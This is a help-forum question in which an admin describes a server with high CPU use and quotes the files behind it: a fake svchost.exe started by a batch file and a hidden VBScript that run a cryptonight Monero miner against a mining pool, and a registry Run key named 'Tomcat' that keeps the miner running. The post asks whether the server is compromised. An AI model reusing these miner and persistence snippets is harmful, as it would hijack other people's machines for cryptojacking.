1

Our server is constantly consuming too much CPU, with svchost.exe seems to be the culprit.

See the screenshow below:

enter image description here

File contents of 1.bat:

svchost -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf -p x

File contents of pubwin.reg:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"="C:\\Windows\\system\\pubwin.vbs"

File content of pubwin.vbs:

dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

Should we be worried, or is it really **Tomcat**.

user3141985
  • 121
  • 5
  • 2
    Possible duplicate of [How can I remove malicious spyware, malware, adware, viruses, trojans or rootkits from my PC?](http://superuser.com/questions/100360/how-can-i-remove-malicious-spyware-malware-adware-viruses-trojans-or-rootkit) – DavidPostill Oct 05 '15 at 16:46